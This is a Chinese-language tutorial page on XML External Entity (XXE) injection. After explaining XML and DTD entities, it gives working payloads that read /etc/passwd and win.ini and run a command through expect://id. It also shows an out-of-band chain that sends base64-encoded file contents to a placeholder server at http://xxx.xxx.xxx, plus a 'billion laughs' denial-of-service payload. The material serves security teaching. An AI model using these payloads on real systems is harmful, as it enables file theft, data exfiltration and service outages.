当前位置:网站首页>XML实体注入漏洞
XML实体注入漏洞
2022-06-21 11:13:00 【哇咔哇咔哇咔哇咔】
XXE漏洞
XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
XML
XML全称可扩展标记语言。用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD可被成行地声明于XML文档中,也可作为一个外部引用。
DTD
上面提到xml需要自定义标签,而DTD(文档类型定义)就可以合法的定义xml标签。
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用
内部的DOCTYPE声明:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note[ <!--定义此文档为note类型-->
<!ELEMENT note (to,from,heading,body)><!--定义note有四个元素-->
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)> <!--定义元素的类型为#PCDATA-->
]>
<note>
<to>Alice</to>
<from>Bob</from>
<heading>Reminder</heading>
<body>I miss you !</body>
</note>
DTD属性:
属性声明使用以下语法
<!ATTLIST 元素名称 属性名称 属性类型 默认值>
DTD实例
<!ATTLIST payment Hu3sky CDATA "H">
XML实例
<payment Hu3sky="H" />
以下是属性类型的选项
默认值参数可以使用下列值:
DTD-实体(重要)
一个内部实体声明
语法:
<!ENTITY 实体名称 "实体的值">
例子:
DTD 例子:
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
XML 例子:
<author>&writer;©right;</author>
注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (。
一个外部实体声明
语法:
<!ENTITY 实体名称 SYSTEM "URI/URL">
例子:
DTD 例子:
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
XML 例子:
<author>&writer;©right;</author>
XXE的利用方式:
文件读取
有回显的
①内部引用实体
元素约束Any指元素可以包含任何数据,包含文本数据和子元素
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >
]>
<foo>&xxe;</foo>
②外部引用实体
通过XML引用外面的恶意DTD文件来造成XXE漏洞,% xxe定义参数实体,%xxe在dtd中引用参数实体
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/123.dtd" >
%xxe;
]>
<foo>&b;</foo>
随后在10.6.23.15服务器中写入1.dtd文件
<!ENTITY b SYSTEM "file:///etc/passwd">
无回显的
用外带数据通道提取数据,如将提取的数据发送到外部的http服务器上,后面查看http服务器即可查看到提取的数据内容
1.使用使用php://filter获取目标文件的内容,然后将数据内容为参数值请求外部的http服务器,随后查看http服务器日志就能查看到提取的数据
( php://filter是php只读流,以base64编码的方式读取target.php)
<!DOCTYPE updateProfile [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php">
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/1.dtd">
%dtd;
%send;
]>
1.dtd的内容,注意内部的%号要进行实体编码成%;
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx/?data=%file;'>"
>
%all;
随后访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据
DOS
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
这个的原理就是递归引用,lol 实体具体还有 “lol” 字符串,然后一个 lol2 实体引用了 10 次 lol 实体,一个 lol3 实体引用了 10 次 lol2 实体,此时一个 lol3 实体就含有 10^2 个 “lol” 了,以此类推,lol9 实体含有 10^8 个 “lol” 字符串,最后再引用lol9。
执行系统命令
(注:这种情况非常少,在安装expect扩展的PHP环境可以里执行系统命令,其他协议也有可能可以执行系统命令,存在环境限制)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>
<name>&xxe;</name>
</root>
参考文章:
https://www.w3school.com.cn/dtd/dtd_entities.asp
https://www.cnblogs.com/supdon/p/13469139.html
边栏推荐
- Runaway player
- R&S示波器软件,罗德与施瓦茨示波器上位机软件NS-Scope介绍
- Implementation of qcustomplot based on qtquick
- 【100个 Unity踩坑小知识点】| Unity 使用Quaternion.AngleAxis随机一个方向
- The advanced process resistance of Intel and TSMC is increasing, and Chinese chips are expected to shorten the gap
- SMIC won the lawsuit in the United States, proving that independence can lead to more long-term development
- 开源FTP 服务器 FileZilla Server
- qmlbook学习总结
- 2022年安全员-A证考试模拟100题及在线模拟考试
- DevSecOps:初入江湖
猜你喜欢

根据模糊查询JanCode输入顺序将查询结果排序

机器学习2-线性回归

转赠券发放倒计时!星际口袋转赠规则抢先看

There are obvious signs of oversupply of chips, ASML is no longer a pastry, and investment institutions are shorting on a large scale

Runaway player

SMIC won the lawsuit in the United States, proving that independence can lead to more long-term development

05. Redis core chapter: the secret that can only be broken quickly

Swift 之返回按钮
leetcode 第一题——两数之和

15+ urban road element segmentation application, this segmentation model is enough!
随机推荐
C语言初阶(八)联合体
用map集合或者list集合存放list集合
当GDPR来敲门
Kotlin - I/O流
SMIC won the lawsuit in the United States, proving that independence can lead to more long-term development
【100个 Unity实用技能】| 游戏中获取鼠标点击的坐标,并将游戏对象移动到鼠标的点击位置
05. Redis core chapter: the secret that can only be broken quickly
2022年安全员-C证上岗证题目及答案
一款完整开源的物联网基础平台
五步成功完成威胁建模
Map集合遍历,添加替换,删除元素
服务器安全审计系统设计与实现
fix libpng warning: iCCP: Not recognizing known sRGB profile ......
New experience of cultural tourism! 3dcat helps Guangzhou intangible cultural heritage "yuancosmos" block make a cool appearance
告别无尽盛夏
【100个 Unity踩坑小知识点】| Unity控制物体持续指向某个方向
机器学习2-线性回归
postgresql 按日期范围查询
[ZZ] OWT server: audio and video forwarding diagram
DevSecOps:S-SDLC企业最佳实践